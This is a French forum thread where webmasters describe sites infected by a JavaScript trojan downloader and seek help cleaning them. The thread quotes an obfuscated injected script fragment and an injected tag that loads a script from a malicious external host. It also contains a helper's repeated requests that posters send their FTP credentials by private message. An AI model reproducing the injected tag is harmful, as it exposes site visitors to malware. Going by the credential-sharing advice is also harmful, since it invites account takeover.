Discussion :

[riadh8]

Kaspersky à détecté HEUR:Trojan-Downloader.Script.Generic sur mon site. J'ai vérifier le code de la page index et j'ai trouvé un code commençant par ceci :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

<script>/*LGPL*/ try{ window.onload = function(){Fi7iiv2h7otw = ...

J'ai supprimer tous les fichiers et j'ai reuploader de nouveaux fichiers et toujours le même problème.

Avez vous une idée comment je peut désinfecter les fichiers dans mon compte FTP ?

Merci

[Invité]

J'ai supprimer tous les fichiers et j'ai reuploader de nouveaux fichiers et toujours le même problème.
Merci

Bonjour,
Nous avons toujours autant de mal a résoudre ces intrusions , pourtant c'est enfantin a résoudre (enfin presque)

En effet pour résoudre ton probléme, il suffit de trouver ou est le code "réel"
qui te mets ce code partout,
Souvent, il sagit de la feuille de style ou une image.
Il suffirait que tu nous donnes par MP (puis le fasse changer aprés)
ton accés FTP. Voila pourquoi Nous avons toujours autant de mal

En dehor de cela tu peux chercher tout seul alors j'essais de t'aider.

Les trois cas ...
1) le serveur a un énorme trou ! (ça si tu es hébergé par un connu c' est NON)

2) ton FTP as été pris ou trouvé et un malin a placé un fichier
REPONSE fait vite changer le MDP de FTP et recharges tout

3) C 'est toi même qui a créé la faille
Un GET ou POST mal protégé ou des données dans Mysql vérolées.
Un répertoire en CHGMOD supérieur a 755
Un fichier en CHGMOD supérieur a 644

Donc si tu ne trouves pas mon MP t'est ouvert

PS: mets moi au moins par MP ton URL

[marocdev]

http://le-marocain.net/index.php/Nec...t.Generic.html

[laurentSc]

J'ai un problème similaire : mon PC était infecté, et le temps que je m'en aperçoive, j'ai infecté 2 sites. Le virus rajoutait dans certains fichiers source des lignes du type :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
  <script type="text/javascript"
 src="http://dolfy.sedonahyperbarics.com:8080/Webcam.js"></script><!--1d8227be2fdc9ff9141587d0849387fa-->

. Je les ai enlevées, mais le virus est encore détecté (par ça). Comment faire pour désinfecter ces sites ?

[laurentSc]

Salut Mauriser, vu ce que tu as écrit plus haut, je m'apprêtais à te donner par MP les coordonnées FTP du compte du site dont je suis webmaster (pas du 2e, car même si j'ai fait pas mal de trucs dessus, je ne suis pas le webmaster, donc je me serais contenté de tes conseils), mais ça m'a répondu que je ne pouvais pas t'envoyer de MP...

[Invité]

Je crois que j'ais decoché la case pour les MP
testes, si non dans une heure je te mets un MP

Donc REEDITES pour infos pour les lecteurs

Tu avais écris

Je les ai enlevées, mais le virus est encore détecté (par ça). Comment faire pour désinfecter ces sites ?

En fait c'est bien lui le coupable mais tu as vu qu'il restait dans 69 index.xxx
et dans deux vicieux javascripts ... en plus dont un sur le second site qui est hors du chemin atteignable par le FTP !!

Bref quand il y a propagation, il faut tout remplacer d'un coup !
Et le danger par le jeux du FTP c'est d'avoir sois même récupéré des
fichiers contenant ces TROJAN !

Bref cette fois tu es sur la bonne voie !